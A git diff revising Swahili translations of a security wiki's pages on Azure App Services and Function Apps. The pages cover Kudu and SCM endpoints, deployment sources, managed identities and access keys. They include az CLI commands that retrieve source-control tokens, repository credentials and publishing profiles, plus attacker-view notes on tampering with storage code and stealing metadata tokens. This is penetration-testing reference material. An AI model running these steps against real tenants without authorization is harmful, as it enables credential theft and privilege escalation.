- **Kusafisha**: Ikiwa imewashwa, mtumiaji mwenye ruhusa ya kutosha anaweza kusafisha programu. Hata hivyo, hii inazuiliwa kiotomatiki kila masaa 48.
|
||||
- **Web App + Database**: Kihifadhi cha wavuti kinaruhusu kuunda Programu yenye hifadhidata. Katika kesi hii inawezekana kuchagua hifadhidata ya kutumia (SQLAzure, PostgreSQL, MySQL, MongoDB) na pia inaruhusu kuunda Cache ya Azure kwa Redis.
|
||||
- **Urekebishaji**: Ikiwa imewashwa, mtumiaji mwenye ruhusa ya kutosha anaweza kurekebisha programu. Hata hivyo, hii inazuiliwa kiotomatiki kila masaa 48.
|
||||
- **Programu ya Wavuti + Hifadhidata**: Kihifadhi cha wavuti kinaruhusu kuunda Programu yenye hifadhidata. Katika kesi hii inawezekana kuchagua hifadhidata ya kutumia (SQLAzure, PostgreSQL, MySQL, MongoDB) na pia inaruhusu kuunda Cache ya Azure kwa Redis.
|
||||
- URL inayoshikilia taarifa za kuingia kwa hifadhidata na Redis itahifadhiwa katika **appsettings**.
|
||||
- **Container**: Inawezekana kupeleka kontena kwa App Service kwa kuashiria URL ya kontena na taarifa za kuingia.
|
||||
- **Mounts**: Inawezekana kuunda mounts 5 kutoka kwa akaunti za Hifadhi ikiwa ni pamoja na Azure Blob (Soma tu) au Azure Files. Mipangilio itahifadhi funguo za ufikiaji juu ya Akaunti ya Hifadhi.
|
||||
- **Konteina**: Inawezekana kupeleka konteina kwa App Service kwa kuashiria URL ya konteina na taarifa za kuingia.
|
||||
- **Mounts**: Inawezekana kuunda mounts 5 kutoka kwa akaunti za Hifadhi ikiwa ni pamoja na Azure Blob (Soma Tu) au Azure Files. Mipangilio itahifadhi funguo za ufikiaji juu ya Akaunti ya Hifadhi.
|
||||
- **Mitandao**: Inaweza kuwa inapatikana hadharani au inapatikana tu kupitia mwisho wa faragha kutoka VNet.
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
Wakati wa kuunda programu ya wavuti (na kazi ya Azure kwa kawaida) inawezekana kuashiria ikiwa unataka **Mamlaka ya Msingi iwe imewashwa** (imezimwa kwa chaguo-msingi). Hii kimsingi **inawezesha SCM (Meneja wa Udhibiti wa Chanzo) na FTP (Protokali ya Uhamishaji wa Faili)** kwa programu ili iwezekane kupeleka programu kwa kutumia teknolojia hizo.
|
||||
Wakati wa kuunda programu ya wavuti (na kazi ya Azure kwa kawaida) inawezekana kuashiria ikiwa unataka **Uthibitishaji wa Msingi kuwashwa** (imezimwa kwa default). Hii kimsingi **inawasha SCM (Meneja wa Udhibiti wa Chanzo) na FTP (Protokali ya Uhamishaji wa Faili)** kwa ajili ya programu ili iwezekane kupeleka programu kwa kutumia teknolojia hizo.
|
||||
|
||||
Ili kufikia seva za SCM na FTP, **jina la mtumiaji na nenosiri** inahitajika. Kwa hivyo, Azure inatoa baadhi ya **APIs kupata URL** za majukwaa haya na taarifa za kuingia.
|
||||
Ili kufikia seva za SCM na FTP, **jina la mtumiaji na nenosiri** linahitajika. Kwa hivyo, Azure inatoa baadhi ya **APIs kupata URL** za majukwaa haya na taarifa za kuingia.
|
||||
|
||||
**Seva ya FTP haina uchawi maalum**, kwa URL halali, jina la mtumiaji na nenosiri inawezekana kuungana na kupata ruhusa za kusoma na kuandika juu ya mazingira ya App.
|
||||
|
||||
@@ -39,15 +40,15 @@ Inawezekana kuungana na SCM kwa kutumia kivinjari cha wavuti katika `https://<SM
|
||||
|
||||
### Kudu
|
||||
|
||||
Kudu ni jukwaa ambalo **linasimamia SCM na kiolesura cha wavuti na API** ili kusimamia App Service, na inatoa uhamasishaji wa msingi wa Git, kusafisha kwa mbali, na uwezo wa usimamizi wa faili. Inapatikana kupitia URL ya SCM iliyofafanuliwa katika programu ya wavuti.
|
||||
Kudu ni jukwaa ambalo **linasimamia SCM na kiolesura cha wavuti na API** ili kusimamia App Service, na inatoa uhamasishaji wa msingi wa Git, urekebishaji wa mbali, na uwezo wa usimamizi wa faili. Inapatikana kupitia URL ya SCM iliyofafanuliwa katika programu ya wavuti.
|
||||
|
||||
Kumbuka kwamba toleo la Kudu linalotumiwa na App Services na na Function Apps ni tofauti, toleo la Function apps likiwa na mipaka zaidi.
|
||||
|
||||
Baadhi ya maeneo ya kuvutia unaweza kupata katika Kudu ni:
|
||||
Baadhi ya mwisho wa kuvutia unaweza kupata katika Kudu ni:
|
||||
- `/BasicAuth`: Unahitaji kufikia njia hii ili **kuingia ndani ya Kudu**.
|
||||
- `/DebugConsole`: Kihifadhi kinachokuruhusu kutekeleza amri katika mazingira ambapo Kudu inafanya kazi.
|
||||
- Kumbuka kwamba mazingira haya **hayana ufikiaji** wa huduma ya metadata ili kupata tokeni.
|
||||
- `/webssh/host`: Mteja wa SSH wa wavuti unaokuruhusu kuungana ndani ya kontena ambapo programu inafanya kazi.
|
||||
- `/webssh/host`: Mteja wa SSH wa wavuti unaokuruhusu kuungana ndani ya konteina ambapo programu inafanya kazi.
|
||||
- Mazingira haya **yana ufikiaji wa huduma ya metadata** ili kupata tokeni kutoka kwa utambulisho wa usimamizi uliotolewa.
|
||||
- `/Env`: Pata taarifa kuhusu mfumo, mipangilio ya programu, mabadiliko ya mazingira, nyuzi za muunganisho na vichwa vya HTTP.
|
||||
- `/wwwroot/`: Saraka ya mzizi ya programu ya wavuti. Unaweza kupakua faili zote kutoka hapa.
|
||||
@@ -56,21 +57,21 @@ Zaidi ya hayo, Kudu ilikuwa ya wazi katika [https://github.com/projectkudu/kudu]
|
||||
|
||||
## Sources
|
||||
|
||||
App Services inaruhusu kupakia msimbo kama faili ya zip kwa chaguo-msingi, lakini pia inaruhusu kuungana na huduma ya upande wa tatu na kupata msimbo kutoka huko.
|
||||
App Services inaruhusu kupakia msimbo kama faili ya zip kwa default, lakini pia inaruhusu kuungana na huduma ya upande wa tatu na kupata msimbo kutoka huko.
|
||||
|
||||
- Vyanzo vya upande wa tatu vinavyoungwa mkono kwa sasa ni **Github** na **Bitbucket**.
|
||||
- Unaweza kupata tokeni za uthibitishaji kwa kukimbia `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||
- Azure kwa chaguo-msingi itaanzisha **Github Action** ili kupeleka msimbo kwa App Service kila wakati msimbo unaposasishwa.
|
||||
- Azure kwa default itaanzisha **Github Action** ili kupeleka msimbo kwa App Service kila wakati msimbo unaposasishwa.
|
||||
- Pia inawezekana kuashiria **hifadhi ya git ya mbali** (ikiwa na jina la mtumiaji na nenosiri) ili kupata msimbo kutoka huko.
|
||||
- Unaweza kupata taarifa za kuingia kwa hifadhi ya mbali kwa kukimbia `az webapp deployment source show --name <app-name> --resource-group <res-group>` au `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Unaweza kupata taarifa za kuingia kwenye repo ya mbali kwa kukimbia `az webapp deployment source show --name <app-name> --resource-group <res-group>` au `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Pia inawezekana kutumia **Azure Repository**.
|
||||
- Pia inawezekana kuunda **hifadhi ya git ya ndani**.
|
||||
- Unaweza kupata URL ya hifadhi ya git kwa `az webapp deployment source show --name <app-name> --resource-group <res-group>` na itakuwa URL ya SCM ya programu.
|
||||
- Unaweza kupata URL ya repo ya git kwa `az webapp deployment source show --name <app-name> --resource-group <res-group>` na itakuwa URL ya SCM ya programu.
|
||||
- Ili kuikopi, utahitaji taarifa za kuingia za SCM ambazo unaweza kupata kwa `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs ni **kazi za nyuma zinazofanya kazi katika mazingira ya Azure App Service**. Zinawaruhusu waendelezaji kutekeleza skripti au programu pamoja na programu zao za wavuti, na kufanya iwe rahisi kushughulikia shughuli zisizo za kawaida au zinazohitaji muda kama vile usindikaji wa faili, usimamizi wa data, au kazi za ratiba.
|
||||
Azure WebJobs ni **kazi za nyuma zinazofanya kazi katika mazingira ya Azure App Service**. Zinawaruhusu waendelezaji kutekeleza skripti au programu pamoja na programu zao za wavuti, na kufanya iwe rahisi kushughulikia shughuli zisizo za kawaida au zinazochukua muda kama vile usindikaji wa faili, usimamizi wa data, au kazi za ratiba.
|
||||
Kuna aina 2 za kazi za wavuti:
|
||||
- **Endelea**: Inafanya kazi bila kikomo katika mzunguko na inasababishwa mara tu inapotengenezwa. Ni bora kwa kazi zinazohitaji usindikaji wa mara kwa mara. Hata hivyo, ikiwa programu itasimama kufanya kazi kwa sababu Daima On imezimwa na haijapokea ombi katika dakika 20 zilizopita, kazi ya wavuti pia itasimama.
|
||||
- **Iliyosababishwa**: Inafanya kazi kwa ombi au kulingana na ratiba. Inafaa zaidi kwa kazi za mara kwa mara, kama vile masasisho ya data ya kundi au taratibu za matengenezo.
|
||||
@@ -81,15 +82,15 @@ Zaidi ya hayo, kila wakati ni muhimu kuangalia **kumbukumbu** zinazozalishwa na
|
||||
|
||||
## Slots
|
||||
|
||||
Azure App Service Slots zinatumika **kupeleka matoleo tofauti ya programu** kwa App Service moja. Hii inaruhusu waendelezaji kujaribu vipengele au mabadiliko mapya katika mazingira tofauti kabla ya kuyapeleka katika mazingira ya uzalishaji.
|
||||
Azure App Service Slots zinatumika **kupeleka matoleo tofauti ya programu** kwa App Service moja. Hii inaruhusu waendelezaji kujaribu vipengele au mabadiliko mapya katika mazingira tofauti kabla ya kuyapeleka kwenye mazingira ya uzalishaji.
|
||||
|
||||
Zaidi ya hayo, inawezekana kuelekeza **asilimia ya trafiki** kwa slot maalum, ambayo ni muhimu kwa majaribio ya A/B, na kwa **madhumuni ya nyuma**.
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
Kimsingi **Azure Function apps ni sehemu ya Azure App Service** katika kihifadhi cha wavuti na ikiwa utaenda kwenye kihifadhi cha wavuti na kuorodhesha huduma zote za programu au kutekeleza `az webapp list` katika az cli utaweza **kuona Function apps pia zimeorodheshwa huko**.
|
||||
Kimsingi **Azure Function apps ni sehemu ya Azure App Service** katika kihifadhi cha wavuti na ikiwa utaenda kwenye kihifadhi cha wavuti na kuorodhesha huduma zote za programu au kutekeleza `az webapp list` katika az cli utaweza **kuona Function apps pia zikiwa zimeorodheshwa huko**.
|
||||
|
||||
Kwa hivyo, huduma zote mbili kwa kweli zina **mipangilio, vipengele na chaguo sawa katika az cli**, ingawa zinaweza kuziweka kidogo tofauti (kama vile thamani za chaguo-msingi za appsettings au matumizi ya Akaunti ya Hifadhi katika Function apps).
|
||||
Kwa hivyo, huduma zote mbili kwa kweli zina **mipangilio, vipengele na chaguzi sawa katika az cli**, ingawa zinaweza kuzisakinisha kidogo tofauti (kama vile thamani za default za appsettings au matumizi ya Akaunti ya Hifadhi katika Function apps).
|
||||
|
||||
## Enumeration
|
||||
|
||||
@@ -176,6 +177,10 @@ az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured SMC users by your account
|
||||
az webapp deployment user show
|
||||
## If any user is created, the username should appear in the "publishingUserName" field
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -233,7 +238,7 @@ Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az pata yote" }}
|
||||
{{#tab name="az get all" }}
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -270,7 +275,7 @@ done
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Mifano ya kuunda Web Apps
|
||||
## Mifano ya kuunda Programu za Mtandao
|
||||
|
||||
### Python kutoka kwa eneo
|
||||
|
||||
@@ -283,7 +288,7 @@ cd msdocs-python-flask-webapp-quickstart
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
Kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo wa `output.tar.gz` ambayo ina msimbo wa webapp.
|
||||
Kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo `output.tar.gz` ambayo ina msimbo wa webapp.
|
||||
|
||||
> [!TIP]
|
||||
> Kuungana tu kupitia FTP na kubadilisha faili `output.tar.gz` haitoshi kubadilisha msimbo unaotekelezwa na webapp.
|
||||
@@ -292,24 +297,24 @@ Kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/ww
|
||||
|
||||
### Python kutoka Github
|
||||
|
||||
Mafunzo haya yanategemea yale ya awali lakini yanatumia hifadhi ya Github.
|
||||
Mafunzo haya yanategemea yale ya awali lakini yanatumia hazina ya Github.
|
||||
|
||||
1. Fork hifadhi msdocs-python-flask-webapp-quickstart katika akaunti yako ya Github.
|
||||
1. Fork hazina msdocs-python-flask-webapp-quickstart katika akaunti yako ya Github.
|
||||
2. Unda Web App mpya ya python katika Azure.
|
||||
3. Katika `Deployment Center` badilisha chanzo, ingia na Github, chagua hifadhi iliyoforked na bonyeza `Save`.
|
||||
3. Katika `Kituo cha Utekelezaji`, badilisha chanzo, ingia na Github, chagua hazina iliyoforked na bonyeza `Hifadhi`.
|
||||
|
||||
Kama katika kesi ya awali, kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo wa `output.tar.gz` ambayo ina msimbo wa webapp.
|
||||
Kama katika kesi ya awali, kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo `output.tar.gz` ambayo ina msimbo wa webapp.
|
||||
|
||||
> [!TIP]
|
||||
> Kuungana tu kupitia FTP na kubadilisha faili `output.tar.gz` na kuanzisha tena uanzishaji haitoshi kubadilisha msimbo unaotekelezwa na webapp.
|
||||
> Kuungana tu kupitia FTP na kubadilisha faili `output.tar.gz` na kuanzisha tena utekelezaji haitoshi kubadilisha msimbo unaotekelezwa na webapp.
|
||||
|
||||
## Privilege Escalation
|
||||
## Kuinua Haki
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Marejeleo
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
@@ -4,27 +4,27 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuwezesha kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka kwa huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa ajili ya kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
|
||||
**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuwezesha kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu la vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa ajili ya kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba **Functions ni sehemu ya App Services**, kwa hivyo, nyingi ya vipengele vilivyojadiliwa hapa vitatumika pia na maombi yaliyoundwa kama Azure Apps (`webapp` katika cli).
|
||||
|
||||
### Different Plans
|
||||
|
||||
- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya kuwa bora kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena.
|
||||
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii usambazaji wa kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
|
||||
- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi walioandaliwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu.
|
||||
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizotengwa na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha programu nyingi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
|
||||
- **Container Apps**: Inaruhusu kupeleka **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa programu za zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
|
||||
- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya iweze kutumika kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena.
|
||||
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii uwekaji wa kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
|
||||
- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi waliotayarishwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu.
|
||||
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizo na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya App, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
|
||||
- **Container Apps**: Inaruhusu kuweka **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na microservices na APIs. Inasaidia maktaba za kawaida, uhamishaji wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitahifadhiwa katika akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo.
|
||||
Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitawekwa kwenye akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi ili kuhifadhi msimbo.
|
||||
|
||||
Zaidi ya hayo, kubadilisha msimbo ndani ya bucket (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati wa pili kazi inaitwa.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kuharibu msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App.
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kushambulia msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App.
|
||||
>
|
||||
> Zaidi kuhusu hili katika **sehemu ya kupandisha mamlaka**.
|
||||
|
||||
@@ -40,11 +40,11 @@ Kwa kutumia kichocheo cha HTTP:
|
||||
- Pia inawezekana **kutoa au kuzuia ufikiaji** kwa Function App kutoka **mtandao wa ndani (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwa mitandao ya ndani** kutoka kwa Function dhaifu iliyo wazi kwa Intaneti.
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwenye mitandao ya ndani** kutoka kwa Function iliyo hatarini iliyofichuliwa kwa Intaneti.
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
|
||||
Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayohifadhi data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi.
|
||||
Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayoshikilia data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka Akaunti ya Hifadhi.
|
||||
|
||||
Mabadiliko haya ya mazingira au vigezo vya usanidi pia vinadhibiti jinsi Function inavyotekeleza msimbo, kwa mfano ikiwa **`WEBSITE_RUN_FROM_PACKAGE`** ipo, itadhihirisha URL ambapo msimbo wa programu unapatikana.
|
||||
|
||||
@@ -58,25 +58,27 @@ Katika **Windows** function inayotumia NodeJS msimbo ulikuwa unapatikana katika
|
||||
|
||||
Kama [**VMs**](vms/index.html), Functions zinaweza kuwa na **Managed Identities** za aina 2: Iliyotolewa na Mfumo na Iliyotolewa na Mtumiaji.
|
||||
|
||||
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **kazi pekee** iliyotolewa itakuwa na uwezo wa kukitumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vinavyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
|
||||
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **ni kazi pekee** ambayo ina idhini hiyo itakuwa na uwezo wa kutumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vilivyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
|
||||
|
||||
> [!NOTE]
|
||||
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unaharibu kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyodhibitiwa kutoka kwa Function moja tu.
|
||||
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unashambulia kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyodhibitiwa kutoka kwa Function moja tu.
|
||||
>
|
||||
> Ikiwa kitambulisho kisichodhibitiwa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichodhibitiwa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
|
||||
> Ikiwa kitambulisho kisichotolewa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichotolewa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
|
||||
|
||||
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichodhibitiwa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika:
|
||||
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichotolewa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika:
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa na kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi).
|
||||
Kumbuka kwamba unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa kwa kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi).
|
||||
|
||||
## Access Keys
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba hakuna ruhusa za RBAC za kutoa ufikiaji kwa watumiaji kuanzisha kazi. **kuanzisha kazi kunategemea kichocheo** kilichochaguliwa wakati ilipoundwa na ikiwa kichocheo cha HTTP kilichaguliwa, inaweza kuhitajika kutumia **funguo za ufikiaji**.
|
||||
> Kumbuka kwamba hakuna ruhusa za RBAC za kutoa ufikiaji kwa watumiaji kuanzisha kazi. **kuanzishwa kwa kazi kunategemea kichocheo** kilichochaguliwa wakati ilipoundwa na ikiwa kichocheo cha HTTP kilichaguliwa, inaweza kuwa inahitajika kutumia **funguo za ufikiaji**.
|
||||
|
||||
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya uthibitisho wa funguo za ufikiaji** zinazohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
|
||||
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya idhini ya funguo za ufikiaji** zinazohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
|
||||
|
||||
- **ANONYMOUS**: **Kila mtu** anaweza kufikia kazi kupitia URL.
|
||||
- **FUNCTION**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo, mwenyeji au funguo za master**.
|
||||
@@ -86,7 +88,7 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka
|
||||
|
||||
- **Funguo za Kazi:** Funguo za kazi zinaweza kuwa za kawaida au zilizofanywa na mtumiaji na zimeundwa kutoa ufikiaji pekee kwa **kiunganishi maalum cha kazi** ndani ya Function App ikiruhusu ufikiaji wa kina zaidi juu ya viunganishi.
|
||||
